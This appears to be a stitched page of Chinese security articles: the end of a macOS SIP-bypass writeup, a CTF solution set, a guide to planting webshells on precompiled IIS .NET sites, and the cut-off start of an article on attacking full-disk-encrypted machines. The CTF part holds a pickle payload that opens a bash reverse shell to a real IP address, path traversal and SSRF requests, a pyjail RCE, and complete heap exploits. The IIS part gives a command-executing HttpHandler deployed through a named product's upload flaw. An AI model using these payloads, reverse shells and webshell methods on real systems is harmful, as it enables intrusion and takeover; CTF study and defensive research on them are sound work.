/var/folders/4d/1_vz_55x0mn_w1cyjwr9w42c0000gn/T/tmp.0b5SeUjh/Toolchains/XcodeDefault.xctoolchain/usr/lib/libswiftDemangle.dylib
12 libdyld.dylib 0x00007fff66c9fd86 dlopen + 86
13 com.apple.CoreSymbolication 0x00007fff52d15332 invocation function for block in call_external_demangle(char const*) + 348
14 libdispatch.dylib 0x00007fff66c64e08 _dispatch_client_callout + 8
15 libdispatch.dylib 0x00007fff66c64dbb dispatch_once_f + 41
16 com.apple.CoreSymbolication 0x00007fff52cb880f demangle + 298
17 com.apple.CoreSymbolication 0x00007fff52cb85e3 TRawSymbol<Pointer64>::name() + 75
18 com.apple.CoreSymbolication 0x00007fff52cbd88e CSSymbolGetName + 166
最新MacOS中的com.apple.SamplingTools是使用Library验证标志签名的代码，因此禁止加载未签名的dylib。
➜ ~ codesign -dvvv `which symbols`
Executable=/usr/bin/symbols
Identifier=com.apple.SamplingTools
Format=Mach-O thin (x86_64)
CodeDirectory v=20100 size=1384 flags=0x2000(library-validation) hashes=36+5 location=embedded
我有一台El Capitan虚拟机，我查了一下，以前的SamplingTools存在有效代码签名但没有标志。
唯一的问题是，如果目标运行的是相同的uid，内置二进制文件可以在没有root的情况下执行task_for_pid。但是，如果之前没有执行sudo
/usr/sbin/DevToolsSecurity -enable的话，我们的旧MacOS副本将弹出一个请求管理帐户的对话框。
[](https://p5.ssl.qhimg.com/t01cca362f28b964184.png)
所以只要复制到High Sierra就行了。通过滥用task_for_pid注入到磁盘管理中，将拥有/System的写入权限。
<https://github.com/ChiChou/10.13.5-sip-bypass>
不知道苹果是否意识到了这一点，但它已经在Mojave Beta被修复了。终于没有外部库了。
[](https://p4.ssl.qhimg.com/t01e13fccc165a65ae6.png)
审核人：yiwang 编辑：边边 | 社区文章 |
# 长城杯 wp
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Web
### ez_python
ez_python 利用?pic读源码。
读源码之后可以了解到是在cookie[‘user’]处 pickle.loads
并且ban了Reduce。
自己构造下opcode，反弹shell即可。
import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/82.156.18.214/8888 0>&1"'
o.'''
print(base64.b64encode(data))
### java_url
题目给出了一个下载路由，优先找web.xml
GET /download?filename=../../../../WEB-INF/web.xml HTTP/1.1
之后找testURL 去下载class
反编译发现在url处可以SSRF。
绕过一下
GET /testURL?url=%0afile:///flag
得到flag
## Misc
### 签到
hex->base64
### 你这flag保熟吗
binwalk 2个图片
发现其中有个password.xls
和一个Hint
通过hint我们可以猜到是希尔伯特曲线
解密即可。
char = []
temp = []
new = []
n=8
pos_=[-1,-1]
dir_=0
result = ''
count = 0
f = open("a.txt",'r')
for i in range(256):
temp.append(f.readline())
for i in range(256):
temp[i] = temp[i].replace('\n','')
count = 0
for i in range(256):
t=''
for j in range(255,-1,-1):
t=t+temp[j][i]
new.append(t)
count = count +1
count = 0
for i in range(256):
t=''
for j in range(255,-1,-1):
t=t+new[j][i]
char.append(t)
count = count +1
result = result + char[255][255]
def move(direction):
global result
global pos_
if direction==0:
pos_[1]=pos_[1]-1
if direction==1:
pos_[0]=pos_[0]+1
if direction==2:
pos_[1]=pos_[1]+1
if direction==3:
pos_[0]=pos_[0]-1
print((pos_[0]+2**n-1),(pos_[1]+2**n-1))
result = result + char[pos_[0]][pos_[1]]
def hilL(n):
global pos_
global dir_
if n==0:
pass
if n>0:
dir_ = (dir_ +1)%4
hilR(n-1)
move(dir_)
dir_ = (dir_-1)%4
hilL(n-1)
move(dir_)
hilL(n-1)
dir_ = (dir_ -1 )%4
move(dir_)
hilR(n-1)
dir_ = (dir_+1)%4
def hilR(n):
global pos_
global dir_
if n==0:
pass
if n>0:
dir_ = (dir_ - 1 ) % 4
hilL(n - 1)
move(dir_)
dir_ = (dir_ + 1) % 4
hilR(n - 1)
move(dir_)
hilR(n - 1)
dir_ = (dir_ + 1) % 4
move(dir_)
hilL(n - 1)
dir_ = (dir_ - 1) % 4
hilR(n)
print(result)
print()
不断base64后得到压缩包密码
得到压缩包密码后 发现是brainfuck
并没有把flag输出出来，而是存到了内存里。
锘?include<stdio.h>
#include<string.h>
using namespace std;
struct pair
{
unsigned int a; //[
unsigned int b; //]
};
pair loop_tbl[1000];
unsigned int tbl_size=0;
unsigned int stack[1000],stack_ptr=0;
void push_pair(unsigned int a,unsigned int b)
{
pair x;
x.a=a;
x.b=b;
loop_tbl[tbl_size++]=x;
}
bool ParseLoop(unsigned char *opcode,unsigned int len)
{
for(int i=0;i<len;i++)
{
if(opcode[i]=='[')
stack[stack_ptr++]=i;
if(opcode[i]==']')
{
if(stack_ptr==0)
return false;
push_pair(stack[--stack_ptr],i);
}
}
if(stack_ptr!=0)
return false;
return true;
}
unsigned int FindAddress(unsigned int pc,unsigned char chr)
{
if(chr=='[')
{
for(int i=0;i<tbl_size;i++)
if(loop_tbl[i].a==pc)
return loop_tbl[i].b;
return -1;
}
else if(chr==']')
{
for(int i=0;i<tbl_size;i++)
if(loop_tbl[i].b==pc)
return loop_tbl[i].a;
return -1;
}
else
return -1;
}
bool Fuck2C(unsigned char *opcode,unsigned char *mem,unsigned int maxsize)
{
unsigned long long times=0;
unsigned int pc=0,ptr=0,bk=0;
FILE *fp=fopen("log.txt","w");
while(opcode[pc]!=0)
{
times++;
for(int j=0;j<bk;j++)
fprintf(fp,"\t");
if(opcode[pc]=='>')
{
fprintf(fp,"ptr++;\n");
pc+=1;
}
else if(opcode[pc]=='<')
{
fprintf(fp,"ptr--;\n");
pc+=1;
}
else if(opcode[pc]=='+')
{
if(ptr>maxsize)
return false;
fprintf(fp,"mem[ptr]++;\n");
pc+=1;
}
else if(opcode[pc]=='-')
{
if(ptr>maxsize)
return false;
fprintf(fp,"mem[ptr]--;\n");
pc+=1;
}
else if(opcode[pc]=='.')
{
if(ptr>maxsize)
return false;
fprintf(fp,"putchar(mem[ptr]);\n");
pc+=1;
}
else if(opcode[pc]==',')
{
if(ptr>maxsize)
return false;
fprintf(fp,"mem[ptr]=getchar();\n");
pc+=1;
}
else if(opcode[pc]=='[')
{
unsigned int t=FindAddress(pc,opcode[pc]);
if(t<0 || ptr>maxsize)
return false;
fprintf(fp,"while(mem[ptr]){\n");
bk+=1;
pc+=1;
}
else if(opcode[pc]==']')
{
unsigned int t=FindAddress(pc,opcode[pc]);
if(t<0 || ptr>maxsize)
return false;
bk-=1;
fprintf(fp,"}\n",t+1);
pc+=1;
}
else
return false;
}
fclose(fp);
printf("\nloop times:%lld\n",times);
return true;
}
bool RunFuckVMCore(unsigned char *opcode,unsigned char *mem,unsigned int maxsize)
{
unsigned long long times=0;
unsigned int pc=0,ptr=0;
unsigned int max_ptr=0;
while(opcode[pc]!=0)
{
times++;
if(max_ptr<ptr)
max_ptr=ptr;
if(opcode[pc]=='>')
{
ptr++;
pc+=1;
}
else if(opcode[pc]=='<')
{
ptr--;
pc+=1;
}
else if(opcode[pc]=='+')
{
if(ptr>maxsize)
return false;
mem[ptr]++;
pc+=1;
}
else if(opcode[pc]=='-')
{
if(ptr>maxsize)
return false;
mem[ptr]--;
pc+=1;
}
else if(opcode[pc]=='.')
{
if(ptr>maxsize)
return false;
putchar((char)mem[ptr]);
pc+=1;
}
else if(opcode[pc]==',')
{
if(ptr>maxsize)
return false;
mem[ptr]=getchar();
pc+=1;
}
else if(opcode[pc]=='[')
{
unsigned int t=FindAddress(pc,opcode[pc]);
if(t<0 || ptr>maxsize)
return false;
if(!mem[ptr])
pc=t+1;
else
pc+=1;
}
else if(opcode[pc]==']')
{
unsigned int t=FindAddress(pc,opcode[pc]);
if(t<0 || ptr>maxsize)
return false;
if(mem[ptr])
pc=t+1;
else
pc+=1;
}
else
return false;
}
puts("");
for(int i=0;i<50;i++)
printf("%c",mem[i]);
puts("");
printf("\nloop times:%lld\nmax pointer:%d\n",times,max_ptr);
return true;
}
unsigned char memory[25565];
unsigned char op[]=">+++++++++[<+++++++++++++>-]>+++[<+++++++++++++++++++++++++++++++++++++>-]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>++++[<+++++++++++++++++++++++++++++>-]>+++[<+++++++++++++++++++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[<+++++++++++++++++++>-]>++[<+++++++++++++++++++++++++++++++++++++++++>-]>+++++++++++[<+++++++++++>-]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++[<+++++++++++++++++++>-]>++++++++[<+++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++[<+++++++++++++++++++>-]>+++++++[<+++++++>-]>++++++++[<+++++++++>-]>+++++[<+++++++++++++++++++>-]>++++[<+++++++++++++>-]>+++++[<+++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++++++[<++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>+++++++[<+++++++++++++++++>-]>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++++[<+++++++++++++++>-]>+++++++++[<+++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++[<+++++++++++>-]>+++++[<+++++++++++++++++++>-]>++++++++++[<++++++++++++>-]>++++++[<+++++++++++++++++>-]>+++++++[<+++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>>++[<+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++>-]>+++++[<+++++++++++++++++++++++++>-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++.>>++++++[<+++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>>+++[<+++++++++++++++++++++++++++++++++++++>-]<.>>++++++[<+++++++++++++++++++>-]<.>";
bool RunVM(unsigned char *strs)
{
tbl_size=0;
stack_ptr=0;
if(!ParseLoop(op,strlen((char*)op)))
return false;
if(!RunFuckVMCore(strs,memory,25565))
return false;
return true;
}
int main()
{
RunVM(op);
return 0;
}
搜一下uzot开头的字符串特征
得到埃特巴什码
然后再大小写对应一下。
### pyjail3
观察源码，发现在calc部分中，exec中是直接字符串拼接，
且里面的的`import {module}`中module未经任何校验，
导致可以RCE（大概是非预期解？）
令`module="os;print(os.system("ls /"))"`即可。
from pwn import *
r = remote("47.104.175.110",41234)
r.sendline("2")
poc = '''os;print(os.system("ls /"))'''
r.sendline(poc)
r.interactive()
## Pwn
### K1ng_in_h3Ap_I
off by one
uaf
造成chunk overlap以后，申请相应大小的chunk让unsorted
bin的fd落到fastbin的fd上，利用printf地址后三个字节计算出stdout地址，partial
overwrite将fastbin指向stdout上方，然后向stdout写入相应数据泄露libc基址。
接下来直接利用uaf改fastbin的fd，申请到malloc_hook前面，在realloc_hook写one_gadget，在malloc_hook写`realloc+12`调整栈桢打one_gadget即可
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = remote('47.104.175.110',20066)
#r = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def add(idx, sz):
r.sendlineafter('>> ', str(1))
r.sendlineafter('input index:', str(idx))
r.sendlineafter('input size:', str(sz))
def delete(idx):
r.sendlineafter('>> ', str(2))
r.sendlineafter('input index:', str(idx))
def edit(idx, ct):
r.sendlineafter('>> ', str(3))
r.sendlineafter('input index:', str(idx))
r.sendafter('input context:', ct)
def magic():
r.sendlineafter('>> ', str(666))
magic()
r.recvuntil('0x')
addr = int(r.recv(6), 16)
stdout = (addr&0xffff)-0x1f0-0x43
add(0, 0x18)
add(1, 0x18)
add(2, 0x68)
add(3, 0x18)
add(4, 0x18)
add(8, 0x68)
edit(0, 'A'*0x18+p8(0x91))
delete(1)
delete(2)
add(1, 0x18)
edit(2, p16(stdout)+'\n')
add(5, 0x68)
add(6, 0x68)
edit(6, '\x00'*0x23+p64(0)*2+p64(0xfbad1800)+p64(0)*3+'\x00'+'\n')
libc.address = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))-0x3c5600
print hex(libc.address)
malloc_hook = libc.symbols['__malloc_hook']
realloc = libc.symbols['realloc']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
ogg = libc.address+one[1]
delete(8)
edit(8, p64(malloc_hook-0x23)+'\n')
add(7, 0x68)
add(8, 0x68)
edit(8, 'A'*0xb+p64(ogg)+p64(realloc+12)+'\n')
r.sendline('1')
sleep(0.5)
r.sendline('9')
sleep(0.5)
r.sendline('50')
r.interactive()
### K1ng_in_h3Ap_II
uaf，开了沙箱
伪造size位，uaf改tcache fd指向fake size，拿到fake chunk，再释放掉，得到一块unsorted
bin，填充数据以后show拿到基址
同样uaf，利用tcache向free_hook写入`setcontext+53`，并利用两块chunk在相应偏移处布置数据，从而向fakersp读入数据并进行rop，执行mprotect后orw读出flag
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
#r = process('./pwn')
r = remote('47.104.175.110',61608)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
def add(idx, sz):
r.sendlineafter('>> ', str(1))
r.sendlineafter('input index:', str(idx))
r.sendlineafter('input size:', str(sz))
def delete(idx):
r.sendlineafter('>> ', str(2))
r.sendlineafter('input index:', str(idx))
def edit(idx, ct):
r.sendlineafter('>> ', str(3))
r.sendlineafter('input index:', str(idx))
r.sendafter('input context:', ct)
def show(idx):
r.sendlineafter('>> ', str(4))
r.sendlineafter('input index:', str(idx))
for i in range(13):
add(i, 0x58)
add(14, 0x58)#last one
edit(0, p64(0)+p64(0x471))
delete(1)
delete(2)
edit(2, b'\x80')
add(1, 0x58)
add(2, 0x58)
delete(2)
edit(0, 'A'*0x10)
show(0)
r.recvuntil('A'*0x10)
libc.address = u64(r.recv(6).ljust(8, '\x00'))-96-0x10-libc.symbols['__malloc_hook']
print 'libc_base ===> ', hex(libc.address)
free_hook = libc.symbols['__free_hook']
setcontext = libc.symbols['setcontext']+53
syscall = libc.symbols['syscall']+23
edit(0, p64(0)+p64(0x471))
delete(1)
delete(3)
edit(3, p64(free_hook))
fake_rsp = free_hook&0xfffffffffffff000
edit(9, p64(0)+p64(0)+p64(fake_rsp)+p64(0)*2+p64(0x1000)+
p64(0)*2+p64(fake_rsp)+p64(syscall))
add(13, 0x58)
add(14, 0x58)
edit(14, p64(setcontext))
#gdb.attach(r)
delete(8)
prdi_ret = libc.search(asm("pop rdi\nret")).next()
prsi_ret = libc.search(asm("pop rsi\nret")).next()
prdx_ret = libc.search(asm("pop rdx\nret")).next()
prax_ret = libc.search(asm("pop rax\nret")).next()
jmp_rsp = libc.search(asm("jmp rsp")).next()
mprotect_addr = libc.sym['mprotect']
payload = p64(prdi_ret)+p64(fake_rsp)
payload += p64(prsi_ret)+p64(0x1000)
payload += p64(prdx_ret)+p64(7)
payload += p64(prax_ret)+p64(10)
payload += p64(syscall) #mprotect(fake_rsp,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,fake_rsp+0x300,0x30))
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x30))
sleep(0.5)
r.send(payload)
r.interactive()
## Reverse
### JUST_cmp_re
进入就能看到flag{ ** ** ** ** ** ** ** _**_************** }
然后随便点了点函数 发现有一个函数中有移位操作。虽然完全没有调用。但是也不懂是啥意思，就和上面的flag做一下操作了。
a=[0, 0, 0, 0, 0, 55, 7, 10, 55, 10, 8, 10, 6, 6, 11, 56, 7, 10, 59, 8,
56, 14, 15, 59, 58, 10, 11, 6, 9, 7,
59, 55, 13, 15, 7, 56, 15, 0
]
flag='flag{********************************}'
result=''
for i in range(0,len(flag)):
result+=chr(ord(flag[i])+a[i])
print(result)
### Funny_js
quickjs 2020-01-19的版本，dump出字节码
然后编译对应版本quickjs，使用qjsc生成一个模板，然后替换字节码
稍微修改一下quickjs的源码，添加一个dump的函数到执行字节码的函数之前
然后再编译，生成elf文件，执行就会输出opcode的可读形式
然后逆向发现是一个rc4算法，密钥是2021quickjs_happygame，然后密文是sn数组里的值，直接从字节码中取出
RC4后还要一个异或，直接RC4解密，异或39即可得到flag
## Crypto
### baby_rsa
第一部分 把小的 m 和 v 爆破一下就可以了
第二部分 直接在 给的第三个数上 解就可以
c = 15808773921165746378224649554032774095198531782455904169552223303513940968292896814159288417499220739875833754573943607047855256739976161598599903932981169979509871591999964856806929597805904134099901826858367778386342376768508031554802249075072366710038889306268806744179086648684738023073458982906066972340414398928411147970593935244077925448732772473619783079328351522269170879807064111318871074291073581343039389561175391039766936376267875184581643335916049461784753341115227515163545709454746272514827000601853735356551495685229995637483506735448900656885365353434308639412035003119516693303377081576975540948311
e = 65537
for v in range(300):
for m in range(300):
p = pow(v, (m + 1)) - pow((v + 1), m)
if 1022 < p.bit_length() < 1026 and isPrime(p) and \
b'flag{' in long_to_bytes(pow(c, inverse(e, p - 1), p)):
print(long_to_bytes(pow(c, inverse(e, p - 1), p)).decode(), end='')
break
c = 40625981017250262945230548450738951725566520252163410124565622126754739693681271649127104109038164852787767296403697462475459670540845822150397639923013223102912674748402427501588018866490878394678482061561521253365550029075565507988232729032055298992792712574569704846075514624824654127691743944112075703814043622599530496100713378696761879982542679917631570451072107893348792817321652593471794974227183476732980623835483991067080345184978482191342430627490398516912714451984152960348899589532751919272583098764118161056078536781341750142553197082925070730178092561314400518151019955104989790911460357848366016263083
n = 39796272592331896400626784951713239526857273168732133046667572399622660330587881579319314094557011554851873068389016629085963086136116425352535902598378739
phi = 190 * 192 * 627382 * 1720754738477317127758682285465031939891059835873975157555031327070111123628789833299433549669619325160679719355338187877758311485785197492710490
print(long_to_bytes(pow(c, inverse(e, phi), n)).decode())
# flag{8102c552-3d78-4a42-b659-0c96ef827f05} | 社区文章 |
## 引言
IIS下部署.Net项目时，功能代码存储在.aspx、.cs、. ashx等文件中，首次访问，IIS会进行 **动态编译**
，生成缓存二进制代码文件，这一点与Tomcat等中间件容器类似，目的都是提高后续访问速度。
当然，也可以在网站发布之前就对网站进行编译，称之为 **预编译** 。
预编译模式下将编译所有的.NET文件，当然HTML、图片、css等静态资源文件不包含在内，在预编译过程中编译器将创建的程序集存储于项目根目录下的Bin文件夹，另外也会同步到一个.NET特殊的目录
%SystemRoot%\Microsoft.NET\Framework\version\Temporary ASP.NET Files
文件夹下，Bin目录下会编译生成两类为文件，一类是扩展名为.compiled，该文件包含指向与该页相应的程序集名称；另一类文件是编译后的扩展名为.dll
的程序集文件。
如果项目复杂，可以选择预编译模式没在网站发布前对代码进行编译，发布编译后的二进制文件。
## 预编译的好处
* 性能。编译后的代码的执行速度要比诸如VBScript的脚本语言快得多，因为它是一种更接近于机器代码的表示形式，并且不需要进行其他分析。
* 安全性。编译后的代码要比非编译的源代码更难进行反向工程处理，因为编译后的代码缺乏高级别语言所具有的可读性和抽象性。此外，模糊和混淆处理工具可以增强编译后的代码对抗反向工程处理的能力。
* 稳定性。在编译时检查代码是否有语法错误、类型安全问题，以及其他问题。通过在生成时捕获这些错误，可以消除代码中的许多错误。
* 广泛的引用性。由于MSIL代码支持任何.NET语言，因此可以在代码中使用最初用其他语言编写的程序集。例如，如果正在用C#编写ASP.NET网页，可以添加对使用Visual Basic编写的.dll文件的引用。
## 编译可选项
在网站发布时的一些选项和说明如下：
除了图形化界面操作预编译之外，Visual Studio还提供了命令行下的可执行程序aspnet_compiler
预编译.NET项目，具体的命令和释义如下：
aspnet_compiler -v /Lib -p D:\Project\web D:\release\web -fixednames
经过编译后项目文件夹中的所有.aspx, .ashx及App_Code中的.cs文件都会被编译成DLL文件，静态资源文件将不变，且复制到目的文件夹里。
#### PrecompiledApp.config
.NET预编译项目后会多出一个Precompiled.config文件，此文件用来控制当前站点预编译状态，内容如下最关键的是updatable选项，当配置为
false
时，整个项目为预编译不允许更新，意思就是传入.cs文件将不能运行；只有为true的情况下才能正常运行.cs这样未编译的文件，另外此文件内容的更改或文件删除，
**均需要重启IIS才能生效** 。
<precompiledApp version="2" updatable="true"/>
## 预编译模式下获取webshell的方法
#### ASP脚本
由于保证兼容性，IIS对早前的ASP脚本一直支持，但是比较新的版本中，默认不开启对ASP的支持，例如IIS10里默认是不启用的，需要在应用程序功能配置上勾选上ASP，这样在.NET预编译模式下通过上传ASP木马可以GetShell，因为ASP脚本由
%windir%\system32\inetsrv\asp.dll 负责处理请求而.NET由
%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll
负责处理，所以和.NET无关。IIS10里启用ASP配置如下
#### 将Webshell预编译化后上传到bin目录（以畅捷通T+文件上传漏洞为例）
选择冰蝎Webshell的ASPX文件。
将aspx的webshell放入文件夹D:\Projects\WebSite2\App_Code\web，
然后执行：
aspnet_compiler.exe -v \ -p [aspxshell文件夹] [生成文件输出文件夹] -fixednames
得到dll和compiled、PrecompiledApp.config文件：
将PrecompiledApp.config放到网站根目录（采用预编译模式下的畅捷通T已经存在该文件，可以跳过这个文件的上传）。将dll、compiled文件放入bin目录（利用上传漏洞）。访问load.aspx即可得到webshell。
**注意：** 由于畅捷通T运行在 **未勾选** “允许更新预编译站点”的状态下，所以， **无法直接执行aspx文件** 。
#### 利用Web.config
在预编译模式下唯一不编译的就是网站配置文件：web.config，它不参与编译并可以随时对站点目录下的Web.config
文件进行修改，而无需重新编译网站。有一种不能跨目录上传的场景（因为不能跨目录上传，所以编译好的DLL文件无法传至Bin目录下，从而不能GetShell），假定任意文件上传只能限定于固定目录下，比如/Lib/目录，而此时又满足对web.config文件的读写，这样的场景下可在编译的DLL里实现HttpHandler。
##### HttpHandler DLL
IIS提供的ISAPI是根据文件名后缀把不同的请求转交给不同的处理程序，几乎所有的.NET应用程序都交给 aspnet_isapi.dll
去处理了，但是aspnet_isapi.dll对不同的请求采取不同的处理方式，查看C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\web.config配置定义如下
例如<add path="*.ashx" type="System.Web.UI.SimpleHandlerFactory" validate="True"
verb="*"> 配置项中path属性是必选的，它的作用是指定路径可以包含单个URL或者简单的通配符字符串如 *.ashx
，表示默认任意文件名的一般处理程序ashx均可通过 System.Web.UI.SimpleHandlerFactory实现HTTP请求和响应，
其它的属性参考下表
由于System.Web.UI.SimpleHandlerFactory继承于IHttpHandlerFactory，所以我们如果想创建自定义的处置Handlers
，就需要继承IHttpHandler类，基于Handlers编写一个小马，代码如下：</add>
public void ProcessRequest(HttpContext context)
{
string cmdline= context.Request["cmdline"];
if (context.Request["method"] == "cmd")
{
Response.Write(ExeCommand(cmdline));
}
}
在命令行下用csc.exe 生成 IsapiModules.Handler.dll ，生成 DLL 的命令如下
csc.exe /t:library /r:System.Web.dll -out:C:\out\IsapiModules.Handler.dll C:\Projects\test\IsapiModules.Handler.cs
将生成的 IsapiModules.Handler.dll 上传到当前目录Lib下（利用上传漏洞），做到这步已经完成了GetShell的第一步。
##### Webconfig配置映射
在站点根目录下的Web.config文件新增handlers/httpHandlers节点，我们选择在<handlers>标签内添加映射关系，一切URL请求带
.xxx的都从 IsapiModules.Handler 经过，配置详情如下：</handlers>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="PageHandlerFactory ISAPI 2.0 32" path="*.xxx" verb="*" type="IsapiModules.Handler,IsapiModules.Handler" preCondition="integratedMode" resourceType="Unspecified"/>
</handlers>
</system.webServer>
但做到这里还不够，因为这样IIS只会去bin目录下寻找IsapiModules.Handler.dll文件，找不到就会抛出异常，可我们上传的dll位于Lib目录下，所以还需要增加一处配置，<probing
privatepath="Lib"> 用于探索指定目录下的程序集并自动加载，如下</probing>
<configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<probing privatePath="Lib"/>
</assemblyBinding>
</runtime>
</configuration>
这样就好了，[http://localhost/anywhere.xxx?method=cmd&cmdline=whoami](http://localhost/anywhere.xxx?method=cmd&cmdline=whoami) | 社区文章 |
# 如何使用QEMU和Volatility攻击全盘加密的系统
|
##### 译文声明
本文是翻译文章，文章原作者 diablohorn，文章来源：diablohorn.com
原文地址：<https://diablohorn.com/2017/12/12/attacking-encrypted-systems-with-qemu-and-volatility/>
译文仅供参考，具体内容表达以及含义原文为准。
> 最近，我正在研究如何攻破透明全盘加密（Transparent Full Disk
> Encryption）的系统。所谓透明全盘加密，是一种加密硬盘的方式，可以在无需用户进行任何操作的情况下启动操作系统。
## 透明全盘加密
为了做到这点，通常会采用下面的方式：
**使用 Secure Boot的方式，并且借助TPM封装密钥（推荐）；**
**使用专有的软件，对密钥进行混淆并隐藏（不推荐）；**
**使用外部硬件设备来存储密钥，不使用 Secure Boot，不对密钥进行保护（不推荐）。**
在大多数情况下，我们的目标会从预先配置好的应用程序中脱离出来，因此下面这些文章中所讲解的技巧，其实不一定真的管用：
[https://www.trustedsec.com/2015/04/kioskpos-breakout-keys-in-windows/](https://www.trustedsec.com/2015/04/kioskpos-breakout-keys-in-windows/)
[http://carnal0wnage.attackresearch.com/2012/04/privilege-escalation-via-sticky-keys.html](http://carnal0wnage.attackresearch.com/2012/04/privilege-escalation-via-sticky-keys.html)
[https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
[https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
然而，如果我们获得安全模式（Safe Mode）或启动修复（Startup Repair）的权限，确实会有助于我们对系统的攻击，可以参考下文：
<http://hackingandsecurity.blogspot.nl/2016/03/windows-7-startup-repair-authentication.html>
这些方法之所以不太管用，原因在于，我们只能打开一个禁用本地组策略的cmd，因此大部分的选项就都无法使用了。在这里要提到有一个有趣的防范方法，可以使用没有任何功能的可执行文件，去替换explorer.exe。即使我们找到方法，成功攻破了他们的应用，但此时仍然是一无所有的，我们没有桌面，没有开始菜单，也没有图标。有一小部分主机，如果选择“启动修复”选项，就不会对加密盘进行加载，这就导致在我们得到的环境中无法访问目标磁盘。
这时你可能会想到考虑网络攻击的方式，但由于防火墙基于IP、端口和应用，严格限制了出/入通信，并且连接采用了有客户端认证的TLS加密方式，所以无法实现中间人攻击。
我们还可以考虑使用诸如Inception或者Pcileech这些工具，进行直接内存访问（Direct Memory
Access，DMA）攻击。然而经过实践，发现一部分系统没有可用的DMA端口，还有一部分系统我没有正确的硬件来执行攻击，因此这个方案也并不可行。
**然而，所有这些加密方案有一个比较普遍的问题，就是很多磁盘加密软件，都没有将加密密钥封装到像
TPM这样的硬件安全设备上。这就使得攻击者可以在硬盘上创建一个映像，并且在另一台计算机上以该映像启动。**此外，如果攻击者能够攻破存储加密密钥的位置（例如USB密钥、智能卡、混淆算法、未加密的分区），那么他就可以在不受信任的环境下引导映像，并且完全夺取目标计算机的磁盘控制权限。
**本文将主要讲解当我们引导磁盘映像时可以进行的一些操作。通过本文的分析，希望大家能够更透彻地了解其原理，并且学会一些操作相对便捷、步骤可以理解的解决方案。**
尽管有几种解决方案都能达到相同的目的，但我个人更倾向于轻量级的工具，这样就能很容易地在不同QEMU版本之间移植。此外，你还可以在VMWare中引导映像，这是一种快速粗暴的方法，并且支持挂起计算机、编辑内存文件、恢复计算机的功能。然而，我还是更倾向于QEMU，因为它内置GDB调试，并且支持添加/修改代码后的重新编译，从而让我们能够完全控制整个过程。
如果你想使用这样的工具来分析恶意软件或其他应用，下面的几个工具都采用了QEMU，推荐大家尝试使用：
[pyrebox](https://github.com/Cisco-Talos/pyrebox)（https://github.com/Cisco-Talos/pyrebox）
[rvmi](https://github.com/fireeye/rvmi)（https://github.com/fireeye/rvmi）
[panda](https://github.com/panda-re/panda)（https://github.com/panda-re/panda）
介绍了足够多的背景知识以后，就让我们正式开始攻破系统的尝试。
## 建立模拟环境
因为我暂时没能接触到实际的加固环境，所以我们就首先创建一个模拟的环境。要建立模拟环境，需要：
**Windows 10 x64 ；**
**VeraCrypt** **。**
安装一台64位Windows 10的虚拟机，但不要安装任何虚拟化代理（Virtualisation
Agent）。在完成这一步后，我们安装VeraCrypt并对磁盘进行全盘加密。最后，禁用cmd.exe的访问权限。
在这里，假如我们对其他的加固措施也都进行模拟，工作量将会变得巨大，因此我们在这里假设，除了一个禁用的cmd和一个空白桌面以外，没有其他可以利用。
## 创建磁盘映像
在我们开始攻击之前，我们首先需要创建一个磁盘映像。我们有几种方式可以实现此操作：
**从 CD/DVD/USB/网络启动；**
**使用磁盘阵列（ Disk Enclosure）。**
在我们决定了所使用的方法后，可以使用dd来执行磁盘的实际复制操作。但在这过程中，需要注意避免错误地使用if和of参数。我们理论上也可以引导媒体直接在磁盘上操作，但在实际中不建议这样做。原因在于，一旦我们操作失误，该操作就无法再撤销了。
我建议大家将创建的dd映像作为一个备份，然后再创建一个qcow2格式的新的映像，命令如下：
qemu-img convert disk.img -O qcow2 targetdisk.qcow2
这样做的好处在于，该格式支持快照，这就使得我们在对它进行操作的时候，能够更容易地在不同工作状态之间进行跳转。
## 分析启动过程
此前，已经有[《Bootloader development
environment》](https://diablohorn.com/2010/01/09/bootloader-development-environment/)、[《Debugging an x86 bootloader using
